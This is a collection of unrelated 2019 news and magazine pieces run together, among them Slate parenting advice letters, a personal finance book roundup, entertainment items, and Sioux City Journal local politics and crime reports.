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And that may be why Trump, while unhappy with the deal, said he was happy with where were going.

Im thrilled, he said, because were supplementing things and moving things around and were doing things that are fantastic, taking from far less important areas. And the bottom line is were building a lot of wall. By Tuesday night, Trump tweeted that once the bill was hooked up with lots of money from other sources, he would be getting almost $23 BILLION for Border Security. Regardless of Wall money, it is being built as we speak!

Figuring out how he landed at $23 BILLION can be tomorrows fruitless accounting assignment. But if Trump ends up viewing the bill as something he can enhance with pots of money here or there, then that should be enough for him to overcome his initial displeasure with the agreement, sign the damn thing, and avoid a second, pointless government shutdown. Trumps aides might want to keep him away from Ann Coulter in the meantime, though.Care and Feeding is Slates parenting advice column. Have a question for Care and Feeding? Email careandfeeding@slate.com or post it in the Slate Parenting Facebook group.

Dear Care and Feeding,

My wife and I fight a lot. We try to keep perspective. For instance, its hard to imagine that any couple with two stressful full-time jobs, little kids, and limited resources wouldnt be fighting a bunch. At a minimum, on a Monday morning, fighting can sometimes seem necessary just to push away the exhaustion and start moving. Were not like the people on Facebook. We dont get vacations.

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Years ago, I used to yell a lot during fights. Now, strangely, shes sometimes louder and more aggressive than me. Due to our past, however, Ill always be branded the angry one, a title never to be repealed. At my wifes request Ive worked on decreasing my yelling. I grew up in a family that fights and yells and argues and she comes from a family that never yelled. I cant imagine how they aired and resolved problems, so go figure. So in her world yelling in generalbut especially in front of the kidsis a cardinal sin. I dont claim that its the pinnacle of good family health, but in general I consider us good parents and our lovely children well-behaved.

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I wanted to ask about this yelling thing. Surely every parenting expert (Im skeptical that such a person exists) avers that yelling in the house, in front of the kids, between a loving couple, is absolutely not OK. And yet I remain not wholly convinced. Could there be a family who is perfect in resolving differences? If so, it must be because they amicably separated years ago. Yelling isnt pretty or healthy (whatever) but I consider it part of relationship life.

My wife can be very emotionally manipulative. Is that better than yelling? At least with yelling the other party knows the position. One may not be able to rationally sort out differences in the heat of the moment with an angry person but theres a certain transparency to yelling. We know what theyre thinking. Emotional manipulationwhich may include sarcasm, twists of tone, guilting, gaslighting, bringing spouses other intimate personal matters into an argument, bringing spouses work relationships into an argumentseems to me far more destructive and poisonous than yelling, in particular because within their subtle art, a deft manipulator can eschew any responsibility whatsoever. Its true, how does one know its there? So it takes a lot of energy to attempt to gather evidence that emotional manipulation is even taking place and even if evidence is found, its nearly impossible to get a deft manipulator to fess up and not twist the evidence until it doesnt exist.

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The strangest part is that my wife sees yelling as a behavior of the traditional bullying conservative male, that he is aggressive and authoritative. She does not seem to see emotional manipulation as a behavior of the traditional bullying female. At a minimum, this question should show how deeply thoughtful a man I am; Im not saying Im perfect or dont have plenty of room for improvement. Further, because shes so politically and diplomatically deft she treats my yelling as a kind of trump card. Oh, you yelled, that means youre wrong and you lose. It doesnt matter that I see emotional manipulation and playing loose with facts and truth to be unforgivable and, somehow, incredibly hateful. In the end I see her as quite a big bully, one who avoids discussion and resolution more than anyone, under the guise of being a progressive thinker, a woman who is finally standing up for herself.

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Shes a nice person. Were both nice people and devoted parents and spouses. The experts say that yelling is not OK behavior to use in an argument but conversely, emotional manipulation is not destructive as a tool, it is OK. I think thats crazy and I dont agree but would like to hear what you have to say.

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Parents Who Fight

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Dear PWF,

Hmm.

You do not know, nor will you ever know, what its like to be a woman alone in a house with a man who is yelling at you.

What I hear in this letter is Id like to be able to yell at my wife while also looking for evidence that shes emotionally manipulating me, and, my man, I can tell you thats no good at all. I heartily encourage you to a) abandon this line of thinking; b) abandon it quickly; and c) also, get help.

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Look, its entirely possible that your wife doesnt operate with 100 percent emotional honesty. That does not strike me as a far-fetched notion. But has it ever occurred to you that she might not be completely forthright with you because  you are yelling at her? You do not know, nor will you ever know, what its like to be a woman alone in a house with a man who is yelling at you. I, a man, dont know what its like either, which is why when women tell me what its like, I assume theyre probably right. This matters because half of the premise of your letter is that your yelling is not that bad, and I just dont think you can determine how true that is for another person.

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The other half of your premise is that your wife is emotionally manipulating you, and although you cant prove it, you know its happening. I have absolutely had partners who were untrustworthy and harmful in ways that did not involve anger or yelling. In each of those cases the way I knew that I was really experiencing something untoward was that I was able to explain what was happening, using concrete examples, to other peopleespecially womenand they were able to say things like Yep, that sounds like your partner is behaving terribly, and No, I dont think youre missing something here. I dont claim to know what conversations youve had otherwise, but your letter lacks those concrete examples, which is noticeable to me.

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I have been dating and/or marrying women since literally the George Bush Sr. administration, and while many of the women I dated have behaved regrettably at one time or another, I have never come across a traditionally bullying female, except in the imaginations of men. I have come across women who were insecure, or dishonest, or just lacked the ability to healthily express love. Ive met a few who were downright assholes, and even one or two who were, in fact, bullies. But not a single one I could look at and say, Yeah, this is traditional female bullying,  and that is because there is no tradition of women bullying men who, on the whole, enjoy much greater physical and cultural safety.

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None of this is to say that your partner is blameless. But lets put things in order here, chief. Youre yelling at your wife, and yelling is bad. It happens to many of us, but what we must never do is justify that its fine. We must always remember that it is emotionally harmful and, unless youre doing it to save someone from being hit by a falling safe, entirely inappropriate. And when you do itwhich, again, we all haveyou should immediately apologize, and you should work to make sure you dont do it again. Because it is not a good way to treat people you love. Period.

Do yourself a favor and stop worrying for a minute about what you imagine to be going on in your wifes brain. You really gotta clean up your own side of the street first. You need to talk with a therapist about your anger, you need to stop patting yourself on the back for being so thoughtful, you need to refrain from ever yelling at this woman because you are setting a terrible example for your children, and you need to let go of the idea that youre somehow a victim here. Maybe things will improve in your marriage after that, or maybe youll realize that she is, in fact, the problem. But no truths can be seen, and no resolution can be found, until you move out of self-justification mode. Good luck.

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 If you missed Mondays Care and Feeding column, read it here.

 Discuss this column in the Slate Parenting Facebook group!

Dear Care and Feeding,

I come from a fairly devout (but not particularly conservative) Catholic family, and my fiance was raised as a Reform Jew. As a couple, weve been attending Sunday services in a nondenominational Christian setting; I attend Mass a few times a year with my parents, and my fiance has not been to temple in over a year. Recently, conversation among the parents has swung toward how we will raise our theoretical children.

We presented our plan, which we worked out years ago, knowing it could be a questionour children will be raised to know their Jewish heritage and history, but the actual religious upbringing will focus on more of a nondenominational Christian teaching.

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The response from the parents was less than ideal. My mother, a devout Catholic, seemed to think our kids would be strictly Catholic; meanwhile, his parents say that raising their Jewish grandchildren as Christians would be a betrayal to the bloodline. My father expressed concern that raising a child in two religions could be confusing for a kid.

Personally, I find the all-around reactions to be melodramatic and, in the case of my future in-laws, a bit offensive. Still, I have to wonder about my fathers pointare we setting our theoretical kids up for failure and confusion in their spiritual identities?

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(Not So) Good Little Catholic Girl

Dear (NS)GLCG,

It is disappointing but not surprising that your plan has received a less-than-enthusiastic welcoming. Faith and culture are both deeply embedded and intensely personal, and people understandably feel some type of way about these issues. But I hope you already know that just because your parents and in-laws have these feelings doesnt mean that youre responsible to them. The best part about being a grown-up is making your own decisions, and if you and your husband have agreed on a satisfactory way to deal with your interfaith family, then more power to yougo forth and be happy.

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But this other issue you bring upwhether a child will be confused about being of two religionsis one that at least deserves some thought. It is wonderful that your children will get to have the experiences of multiple paths of faith. Yet one of the difficult parts of this, depending on where you live, will be the feeling they may have of being alone. They may not know many kids who are being raised in a way that is primarily Christian and secondarily Jewish. It may be occasionally difficult for them at summer camps, after-school programs, or even regular school discussions. It may be sometimes hard for them when they go to spend time with your husbands family and find that they dont quite know how to handle High Holiday rituals and traditions, or they cant discuss an upcoming bar or bat mitzvah. Differences such as these are magnified in the minds of kids and can quickly be spun into full tales of never fitting in.

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This isnt to suggest your plan is wrongheaded, because it is not! But it does mean that it could present some difficulty and that your children may need some support as they go through life, support that will have to come from you and your husband. With that support, theyll find their own way. They may grow and seek out a closer connection to Jewish faith; they may move into your parents Catholicism; they may become proud atheists! Your only job is to give them an opportunity to experience what is meaningful to you, and to support them as they find what is meaningful to them. Your theoretical kid is lucky to have you.

CarvellListen now:

Get More of the Dear Prudence Podcast Slate Plus members get extended, ad-free versions of our podcastsand much more. Sign up today. Join Slate Plus Subscribe to the Dear Prudence Podcast Copy this link and add it in your podcast app. copy link copied! For detailed instructions, see our Slate Plus podcasts page.

Listen to the Dear Prudence podcast via Apple Podcasts, Overcast, Spotify, Stitcher, or Google Play.

Prudence is joined this week by Favianna Rodriguez, an interdisciplinary artist, cultural organizer, and political activist based in Oakland, California. Her art addresses migration, economic inequality, gender justice, and ecology. She is also the executive director of CultureStrike, a national arts organization that engages artists, writers, and performers in migrant rights.

Together, they tackle letters about what to do when your dad cant get your transgender cousins pronouns right, how to handle gift-giving in-laws who are cluttering your home with homemade knickknacks, what actions to take if you feel your friends are taking advantage of your emotional and financial stability, how to tell the person that took you off the streets and fed you that you dont like their cooking, and what to do when your parents will no longer pay your college tuition because you changed your major.

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Slate Plus members will hear Prudie and Rodriguez discuss a letter writer who is devastated that her younger sister didnt include her in her wedding party, despite all the support given to her through the years.

The full Dear Prudence podcast is available exclusively to Slate Plus members. Access all of Prudies podcasts and columns here.

Got a question for Prudie? Send it to prudence@slate.com or leave a voicemail message at 401-371-DEAR (3327), and you may hear your question answered on a future episode of the show.

Production by Phil Surkis.

Want to see Dear Prudence live? Check out dates and locations for our national tour. Tickets here.This article is published through a partnership with New York Medias Strategist. The partnership is designed to surface the most useful, expert recommendations for things to buy across the vast e-commerce landscape. We update links when possible, but note that deals can expire and all prices are subject to change. Every editorial product is independently selected by New York Media. If you buy something through our links, Slate and New York Media may earn an affiliate commission.

Right up there with exercising, eating healthy, and KonMari-ing your closet, saving money and sticking to a budget are two of the more popular New Years resolutions. And it makes sense. Between student loans, paying rent, and juggling everyday expenses, most of us havent taken the time to think about building an emergency fund, planning for retirement, or investing; and the world of finance, with its complicated terminology and mathematical formulas, can all feel a little overwhelming.

While there are lots of books out there on how to earn, save, and spend money, its not easy to know which ones are applicable to your own goals. To find the best personal finance book for wherever you are in your money journey  from making a budget for the first time to decoding stocks and bonds  we asked ten money experts (financial planners, journalists, podcast hosts, and authors) for their picks. To earn a spot on the list, each of these titles had to be recommended by at least two members of our panel.

Best Books for Beginners

Broke Millennial: Stop Scraping By and Get Your Financial Life Together, by Erin Lowry ($10)

If you feel clueless about budgeting or overwhelmed by student loans and other expenses, Broke Millennial by personal finance expert Erin Lowry came recommended by five of our experts as the best place to start. The book is aimed at 20- and 30-somethings who are dealing with both paying off debt and beginning to plan for the future. Gaby Dunn, author of Bad With Money and host of the podcast of the same name, says, I like the focus on younger people because a lot of finance books are for upper-class, middle-aged people. Personal finance expert and author of Youre So Money, Farnoosh Torabi says, Every generation has its definitive money book, and in many ways, Broke Millennial captures the financial zeitgeist of this generation so perfectly.

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With chapter titles like Paying Rent to Your Rents (about the financial benefits and pitfalls of moving back home), and Retirement: Can It Ever Happen for Me?, it makes sense that Jessica Moorhouse, a Canadian accredited financial counselor, recommends reading Broke Millennial to learn all the basics of finance in a relatable way. Personal finance bloggers Grant Sabatier, author of Financial Freedom, and Ashley Feinstein Gerstley, author of The 30-Day Money Cleanse, agree that the books approachable tone and practical tips make it a great starting point for learning about everything from our emotional relationship with money to investing and planning for retirement.

The Total Money Makeover: A Proven Plan for Financial Fitness, by Dave Ramsey ($16)

Best known for his financial advice radio show The Dave Ramsey Show, Ramseys book offers a simple plan for getting out of debt and saving for emergencies and retirement. Jonathan Mendonsa, co-host of the finance podcast ChooseFI, says it tells a story, is engaging, not overcomplicated, and if you follow it, youll be able to keep up with your budget. He says its best for readers in their early 20s looking to get started with financial planning. Nick Holeman, senior financial planner at Betterment, says this book highlights [Ramseys] famous seven baby steps to gain control of your finances and gives people a newfound sense of agency. He calls it a critical stepping-stone for anybody who is struggling with debt, which is most of America.

Best Books for Achieving Financial Independence

Your Money or Your Life: 9 Steps to Transforming Your Relationship with Money and Achieving Financial Independence, by Vicki Robin & Joe Dominguez ($14)

Recommended by four of our experts, Your Money or Your Life encourages readers to take a step back and think about the their ultimate goals and how much money theyll need to get there. Sabatier says, The simple premise of the book is the question: How much money are you willing to trade your life for? Whenever youre working, your trading your life and energy for money. What does that mean to you? Once youre clear on the why behind your saving and spending, making decisions about investing and budgeting becomes much easier.

Torabi says author Vicki Robin is the O.G. who put the personal in personal finance. She was among the first to inspire us to create a financial road map that aligned with our core values and goals.

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Moorhouse points out that the book is a good introduction to the financial independence, retire early movement, or FIRE, popularized by bloggers like Mr. Money Mustache who practice extreme frugality and smart investing to retire young and devote more time to their passions. According to Holeman, That shift frees you to spend your time and money in a way that maximizes your happiness, something that surprisingly very few of us actually do.

Set for Life: Dominate Life, Money, and the American Dream, by Scott Trench ($20)

In Set for Life, another favorite in the FIRE movement, author Scott Trench, CEO of the real estate investing site BiggerPockets, outlines a plan of prioritizing saving over earning and making good investments. Mendonsa says its great for helping someone go from a standing start to where working is optional in a relatively short period of time, and Sabatier says he recommends it for younger people who want to live life on their own terms as quickly as they can. Instead of buying into the traditional American dream, which, as Sabatier says, is actually built on debt, Trench emphasizes figuring out your own values and how you really want to use your time and money. That could mean pursuing travel instead of home ownership or biking instead of buying a car to save for early retirement.

Best Books on Developing Good Money Habits

Smart Women Finish Rich, by David Bach ($12)

If youve heard the advice that if you simply cut out buying a cup of coffee per day you could save more than $1,000 in a year, youre already familiar with author and financial expert David Bachs signature latte factor. Aimed at women but applicable to anyone looking to take control of their finances, the book explains how simple tweaks can lead to big savings, how small investments now can pay off big later, and how to stop living paycheck to paycheck. Torabi says, Bachs book was my first okay-lets-get-my-money-situation-figured-out-for-real read, and Gerstley credits it with kickstarting her knowledge of financial planning. She personally embraced the latte factor and realized shed rather skip her morning coffee and be able to afford a big trip.

The Automatic Millionaire: A Powerful One-Step Plan to Live and Finish Rich, by David Bach ($10)

Another book by Bach that was popular among our experts, The Automatic Millionaire describes how to take the hard work and willpower out of the saving equation by automating your saving and investing. Moorhouse says its a classic read to learn why its so important to set up a cash-flow system that works and to be mindful of all those little expenses, and Sabatier says Bachs work is so influential that automation now is the status quo. Jean Chatzky, a financial journalist and the author of Women With Money, agrees that its terrific, and says Bach has keyed into the fact that changing your habits in a way that you can stick to them, and knowing whats meaningful to you in your own life and prioritizing that, is whats going to help you succeed.

Best Books on the Psychology Behind Money Habits

Nudge: Improving Decisions About Health, Wealth, and Happiness, by Richard H. Thaler & Cass R. Sunstein ($12)

Skipping your morning coffee run sounds easy in theory, but in practice we know there are a host of emotional and psychological factors getting in the way of our making such a simple change. The next two books, both favorites of Chatzkys, delve into how we make decisions and how, by better understanding our reasoning, we can make better choices. Holeman says the book does a brilliant job at pointing out the many behavioral and emotional biases human beings have, and real-world examples of how we can overcome them to make better choices with our money. Co-author Richard H. Thaler won the Nobel Prize in economics for his work in behavioral economics.

The Power of Habit: Why We Do What We Do in Life and Business, by Charles Duhigg ($14)

In the same vein as Nudge, journalist Charles Duhiggs book examines what habits are, how theyre formed, and how we can leverage that knowledge to build habits thatll benefit us in the long run. Ramit Sethi, best-selling author of I Will Teach You To Be Rich, says habits form the very foundation of our behavior that drive[s] us toward our goals  with health, relationships, business, and yes, money, too. Building habits is absolutely crucial. Chatzky adds that while its not exactly a money book, if you take in what hes trying to teach you, itll really revolutionize your financial life.

Best Books on the Millionaire Mindset

The Millionaire Next Door: The Surprising Secrets of Americas Wealthy, by Thomas J. Stanley & William D. Danko ($12)

In The Millionaire Next Door, a top pick for three of our experts, business professors Thomas J. Stanley and William D. Danko reveal the seven common traits theyve found among millionaires in their years of researching the behaviors of the wealthy. Holeman calls it far and above my favorite book on personal finance, and Sethi, who also recommends it, asks, If you want to be rich yourself, what better way to learn than to study those who are rich? Interestingly, the habits of the rich arent what you might expect. Sabatier, also a fan of the book, says, The vast majority of millionaires in this country are the people driving the frugal cars and living in normal houses. Instead of living flashy lives, the millionaires Stanley and Danko studied practice frugality and acquire wealth not through high-profile jobs but by managing their money in the right way.

Secrets of Six-Figure Women: Surprising Strategies to Up Your Earnings and Change Your Life, by Barbara Stanny ($15)

Like The Millionaire Next Door, this book breaks down the mind-set that successful people share, but author Barbara Stannys exclusive focus on wealthy women yields a new set of lessons that anyone looking to boost their net worth can learn from. Kimberly Palmer, a financial writer and the author of Smart Mom, Rich Mom, says, I find it super inspiring. The central message is that we have to believe in our own self-worth and that we deserve to earn a healthy income. She helps us overcome any confidence issues that are getting in the way of that. Kristin Wong, author of Get Money, says this book completely changed my career. As a freelance writer, Wong says she didnt feel comfortable asking for more pay until she read Stannys book. To prove her wrong, I conducted a little negotiation experiment, she says. I vowed to ask every new freelance client for more money and negotiate with my existing clients. I thought theyd laugh in my face. But to my surprise, every single existing client I had agreed to pay me more.

Best Books on Investing

The Little Book of Common Sense Investing: The Only Way to Guarantee Your Fair Share of Stock Market Returns, by John C. Bogle ($15)

According to Holeman, Jack Bogle, the founder of Vanguard, made history with the first index fund. Low-risk and tax-efficient, index funds track the rise and fall of the overall market and tend to outperform actively managed funds where individual investors decide whether to buy or sell. Holeman likes that Bogles book arms investors with the knowledge of what they should be focusing on, and steers them away from what Wall Street wants them to focus on; and Moorhouse says its full of finance and investing lingo, but honestly the best book out there to learn about index investing.

The Bogleheads Guide to Investing, by Mel Lindauer, Taylor Larimore, and Michael LeBoeuf ($18)

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Bogle has also attracted a dedicated group of followers  who call themselves Bogleheads. For more on their philosophy, Sabatier recommends the Bogleheads Guide to Investing: Its the only investment book I think youll need, he says.

The Simple Path to Wealth: Your Road Map to Financial Independence and a Rich, Free Life, by J.L. Collins ($15)

Originally written as a series of letters advising his daughter, J.L. Collinss book is also, as Mendonsa explains, a compelling look at why you should be considering broad-based index funds. Collins shares his philosophy of investing and why hes wary of traditional strategies. Sabatier says its a good pick for those primarily seeking investment advice.

Slate has relationships with various online retailers. If you buy something through our links, Slate may earn an affiliate commission. We update links when possible, but note that deals can expire and all prices are subject to change. All prices were up to date at the time of publication.Jimmy Kimmel has a secret weapon no other late night host can match, and its Fred Willard. Whether hes playing a demented pollster pushing a Wilford Brimley / Walter Mondale ticket in 2020 or chatting about his (very real!) experiences on the 1978 failed NBC pilot Space Force, Willardwho has now been in the business for more than half a centurycan deploy the sort of clueless blowhard character he specializes in without any visible effort. What you get instead is his twinkly-eyed delight at getting to goof around on Jimmy Kimmel, pitching his performance right at the sweet spot where it seems like hes right about to break, but never quite does. Best of all, in this sketch from a few nights ago, Willard isnt playing Fred Trump or a MAGA Santa or anything that has anything to do with the mess were inthis is pure silliness:

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If you found yourself in a Blade-Runner-style dystopia, the part of that clip where Fred Willard says, Theres no goddamned way to stop an asteroid from hitting the earth would be a pretty good way to test whether or not someone was an escaped replicant. Theres just no way for a human being to watch that without smiling. This is great news for humans in our not-yet-quite-as-bad-as-Blade-Runner-style dystopia, because we need all the smiles we can get. On the other hand, its bad news for people who are just now realizing, thanks to Fred Willards flawless comedy chops, that Dr. Vortigern never actually said their parents were dead, so maybe it was wrong to assume they were orphans just because no one at the Institute wanted to talk about their oddly blurry memories of early childhood. We apologize for any unwanted revelations caused by this Fred Willard sketch, and wish you the best of luck in your quest for answers about the purpose of the Institute, the meaning of Protocol Six, and what really happened to Professor Reinhardt. Were all rooting for you.After lying low for a while, Aziz Ansari made his return to comedy last year following the publication of a Babe.net story in which a woman known as Grace said Ansari allegedly pressured her into performing various sexual acts on a date. The nature of the allegationsespecially as part of a wave of reporting on Harvey Weinstein and other serial harassersignited misplaced criticism about the #MeToo movement and concern that the article would derail Ansaris career. Apparently, Ansari was worried about that, too.

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Shortly after the Babe story was published in January 2018, Ansari released a brief statement through his publicist, saying that though the encounter seemed completely consensual to him, he had taken Graces words to heart and continued to support the #MeToo movement, calling it necessary and long overdue. Now, as he returns to the public eye, hes addressing the subject in more depth, as he did this week at the Village Underground in New York. There was a moment, he said, according to Vultures Jesse David Fox, where I was scared that Id never be able to do this again.

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Vulture reports that Ansari made a joke during his set about a fan mixing him up with Patriot Act host Hasan Minhaj, telling the audience that the fan asked, You had the whole thing come out last yearsexual misconduct? to which he responded, No, no, no, no, no, no, thats Hasan! From there, Fox writes, the tone of the event turned somber as Ansari acknowledged why he hasnt addressed the issue in much depth:

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First, he said, he wanted time to process and determine what he wanted to say. Second, its a terrifying thing to talk about. There were times I felt really upset and humiliated and embarrassed, and ultimately I just felt terrible this person felt this way, he continued, his voice wavering. But you know, after a year, how I feel about it is, I hope it was a step forward. It made me think about a lot, and I hope Ive become a better person.

Ansari added that a friend of his said that the controversy made him reconsider past dates he had been on. If that has made not just me but other guys think about this, and just be more thoughtful and aware and willing to go that extra mile, and make sure someone else is comfortable in that moment, thats a good thing, Ansari said.

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Ansaris new comments are notable in part because they mark a significant change in tone from his other recent stand-up about internet outrage and sexual misconduct. The amused but progressive spirit that once informed Ansaris commentary on current events seems to have crusted into suspicion about wokeness and its excesses, Eren Orbey noted in the New Yorker of Ansaris tour in the fall.

In fact, as recently as last week, Ansari told an audience in Massachusetts that Its a scary time to be working on the jokes, according to Anna Silman at the Cut. In that set, he referenced Kevin Hart (Im not defending Kevin, but were all shitty people, we all get better) and joked that Pam and Jims flirtation on The Office would now lead to a landmark sexual harassment case, as would his character Tom Haverfords behavior on Parks and Recreation.

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Ansari is probably right about Tom, who once gave a female colleague on whom he had a crush a teddy bear with a hidden nanny cam and encouraged her to put it in her bedroom, a joke that has not aged well (and was arguably not even funny at the time). Whatever his characters fictional sins, Ansari at least seems to be more reflective onstage about his real-life past actions than, say, Louis C.K., who reacted by, among other things, mocking the Parkland teens. On the other hand, thats an awfully low bar to clear.

Subscribe to Slates Culture newsletter for the best of movies, TV, books, music, and more, delivered twice a week.The Adventure program is for students who want the flexibility and autonomy to develop their own educational experience. The program builds off of learner-centered programs already offered at the high school level.

There are various high schools like Iowa Big that inspire students to take more freedom and ownership of their own learning  more ownership and independence, Stout said. And we think this program will be able to give those students an environment to do this at the college level.

The Adventure program will give students the freedom to do everything from designing their own major to taking project-based coursework that focuses on solving real-world problems.

In line with this focus on real-world experiences, students in the program will receive a travel stipend to apply to a May term course or study abroad. They also will have the opportunity to build a co-curricular resume focused on real-world skills like leadership, civic engagement and career development, and they will have the opportunity to work one-on-one with faculty to conduct research in their interest areas.

Every Morningside student brings their own set of interests and ideas to the table, and all three of these programs allow students to build their time here in a way that works for them. These programs really build off what we are already good at while giving us an opportunity to get in front of some new students and families who may not have previously known us, said Steph Peters, director of admissions at Morningside.

Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0To the city of Sioux City and the Parks and Recreation Department, a big thank you for the public restrooms at the park in Leeds. Our little neighborhood park is now complete for family and friends to gather.

My children grew up playing at the park in Leeds, and now my grandchildren play there, too.

In the past, it was the Leeds community who planted and cared for the flower beds and held fund-raisers to help get new playground equipment.

Taking pride in your community does pay off.

As a longtime Leeds resident, the park is very near and dear to my heart. Thanks, again. - Virla McKinley, Sioux City

Love 1 Funny 0 Wow 0 Sad 0 Angry 1Over the last two sessions of the Legislature, majority Republicans have been branded - unfairly, we believe - anti-education by some Iowans because of funding for K-12 schools.

State money for schools wasn't cut in 2017 or 2018, but critics didn't view the 1.1 percent and 1 percent increases, respectively, passed in those years as big enough.

We believe those increases reflected budget realities at the time. We also believe it's important to remember K-12 schools have received more than $700 million in new money, according to the nonpartisan Legislative Services Agency, since Republicans took partial control of the Statehouse in 2011.

This fiscal year, an anticipated boost in tax revenue of 4.7 percent allows more for K-12 schools. We support a bigger increase and give credit to Republicans who will send on to Gov. Kim Reynolds what we view as a reasonable hike in K-12 funding of 2.3 percent (including a 2.06 percent increase in State Supplemental Aid). The House approved the funding increase on Monday; the Senate, on Wednesday.

The size of the increase and a decision by the Legislature early in the session should be a double dose of welcome news for school district administrators and school boards across the state as they begin crafting local budgets for next year.Preserving Zora Neale Hurston's legacy

When Zora Neale Hurston died in 1960, the trailblazing authors papers were almost lost forever. They were being burned outside her Fort Pierce, Fla., home when a friend saved them. The following year, Hurstons neighbor donated the papers, which include letters, photographs and even an unpublished manuscript, to the University of Florida libraries.

The collection has grown since then, with contributions from Hurstons friends and colleagues. Today, students, researchers or anyone who requests to see these items  about a thousand in total  can feel the presence of the celebrated writer of Their Eyes Were Watching God.If the pollsters at CNN and CBS are correct, Donald Trump may have found the formula for winning a second term in 2020.

His State of the Union address, say the two networks, met with the approval of 76 percent of all viewers -- 97 percent of Republicans, 82 percent of independents and 30 percent of Democrats. Seventy-two percent agreed with the president's plans for securing the border with Mexico.

Trump was not only unapologetic in defense of his wall. He seemed to relish savaging the rising radicalism of Democrats on two critical issues many Democrats have, since their 2018 triumph, seized upon: abortion on demand, right up to the day of birth, and soak-the-rich socialism.

"Here, in the United States, we are alarmed by new calls to adopt socialism in our country," Trump thundered. "America was founded on liberty and independence -- not government coercion, domination, and control. We are born free, and we will stay free."

"America will never be a socialist country," Trump roared, as the camera focused in on the scowling face of Sen. Bernie Sanders.

The GOP ovation was thunderous, the Democratic silence revealing. Understandable. For, as in the 1972 Nixon landslide, Democrats appear to be coming down with "McGovernism."DES MOINES -- A Milford, Iowa, social worker has voluntarily surrendered his state license after a state board accused him of having inappropriate sexual contact with a former client.

A final order filed Monday by the Iowa Board of Social work said that Scott Cox would immediately turn in his license to the board and his case is resolved.

The board on Dec. 3 found probable cause to file a statement of charges accusing Cox of having sexual contact with a former client within five years after terminating the client relationship.

The statement of charges said that Cox provided therapy to the client from June 2015 until September 2016. In the spring of 2017, Cox entered into a sexual relationship with the client, the charging document said.

Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

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Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.DES MOINES  Gov. Kim Reynolds proposal to make birth control pills available without a doctors prescription is expected to be introduced in the Iowa Legislature as early as Wednesday.

Her plan to make birth control more accessible, first proposed during her campaign last summer and fall, also would expand choices and family planning resources, particularly in rural Iowa, Reynolds said.

The order would give pharmacists the authority to distribute birth control, as much as a yearlong supply.

Behind-the-counter birth control would be handled in much the same way as standing orders for Naloxone, a medication to rapidly reverse the an opioid overdose.

A statewide standing order would be issued by the medical director of the Iowa Department of Public Health, a physician, Reynolds explained.

It would allow pharmacists to sell a variety of birth control products, such as pills and patches, to women 18 and older.

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Before obtaining the birth control, a woman would need to complete a health assessment, which would include questions such as whether she had a history of breast cancer in her family, the governor said recently.It took a little convincing before police believed the person who reported the strange discovery.

The concerned citizen claimed to have entered an abandoned Houston home to smoke pot and found a tiger.

So, naturally, authorities were suspicious.

"We questioned them as to whether they were under the effects of the drugs or they actually saw a tiger," Sgt. Jason Alderete of the Houston Police Department's Major Offenders, Livestock Animal Cruelty Unit told CNN affiliate KTRK.

But once they arrived, police found a caged tiger in the home's garage, according to KTRK.

The home had been abandoned for some time, Alderete said. But several packages of meat were found with the animal, KTRK reported.

Officers tranquilized the large cat, pulled it out using a wrecker and transferred it to an animal shelter.

On Tuesday morning, the tiger was taken 200 miles north to an animal sanctuary operated by animal rescue organization Fund for Animals."No core services were cut. The sky is not falling," Supervisor Matthew Ung said.

However, Rolling Hills CEO Dawn Mentzer, of Buena Vista County, said the mental health services available to students in Woodbury County schools will drop considerably. Mentzer said school-based services are considered non-core services in Iowa.

In recent years, $250,000 in taxpayer money was going through Sioux Rivers to the Sanford Community Center in Sioux City for a joint outreach program with the Sioux City School District that serves teens with mental health issues.

The Sanford Center will get funding of roughly $130,000 from the Rolling Hills region to provide school-based mental health services for the 2019-20 year. Mentzer also said some limited school services could be available in Woodbury and other region counties from Plains Area Mental Health Center, which is headquartered in Le Mars.

Through all the moves, one other high-profile consideration involved who would own and be able to get services from the Sioux Rivers Assessment and Crisis Stabilization Center in Sioux City.SIOUX CITY -- A Sioux City man pleaded not guilty Wednesday to killing a woman in a Sioux City hotel room and setting it on fire.

Public defender Billy Oyadare filed Jordan Henry's written plea to first-degree murder and first-degree arson in Woodbury County District Court. Henry's trial was set for July 9.

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Henry, 29, of Sioux City, is accused of the Jan. 24 death of Elizabeth Bockholt. The 40-year-old Hinton, Iowa, woman's body was found in a burned room at the Wingate by Wyndham, 4716 Southern Hills Drive. An autopsy report says she was strangled.

According to court documents, Bockholt and Henry had a romantic relationship before Henry was sentenced to prison in March 2017, and she voluntarily met him at the hotel on the night she died. Henry, who was released on parole on Jan. 16, is accused of strangling Bockholt, then removing a smoke alarm and setting the room on fire. Her body was found by firefighters and police officers responding to the fire.

Henry was identified on surveillance video and by witnesses who saw him leaving the scene just after the fire. He was arrested hours later about half a mile away.

If found guilty of first-degree murder, Henry would face a mandatory sentence of life in prison without parole. First-degree arson carries a 25-year prison sentence. He remains in the Woodbury County Jail on a $502,000 bond.

Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

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Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.DAKOTA CITY -- A South Sioux City man has pleaded guilty to forcing his wife and children into a vehicle at gunpoint and threatening to shoot them.

Jose Ibarra Cisneros, 41, entered his pleas Tuesday in Dakota County District Court to single counts of possession of a deadly weapon by a prohibited person, first-degree false imprisonment, third-offense domestic assault, child abuse and terroristic threats.

Sentencing was set for May 10. According to terms of a plea agreement filed earlier, prosecutors will be limited to ask for a prison sentence of up to 10 years. Twelve other charges will be dismissed.

Ibarra Cisneros was accused of forcing his family out of their South Sioux City home and into a vehicle at gunpoint on Aug. 26 and threatening to shoot his wife, children and himself. The vehicle later became stuck, and Ibarra Cisneros fled. His family got the vehicle unstuck and returned home.

Ibarra Cisneros was arrested later in the day after flipping a stolen all-terrain vehicle on Nebraska Highway 35 near Emerson while trying to flee from authorities. He was armed with a loaded handgun and a knife when arrested. A .22-caliber rifle was found on the ATV.

Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

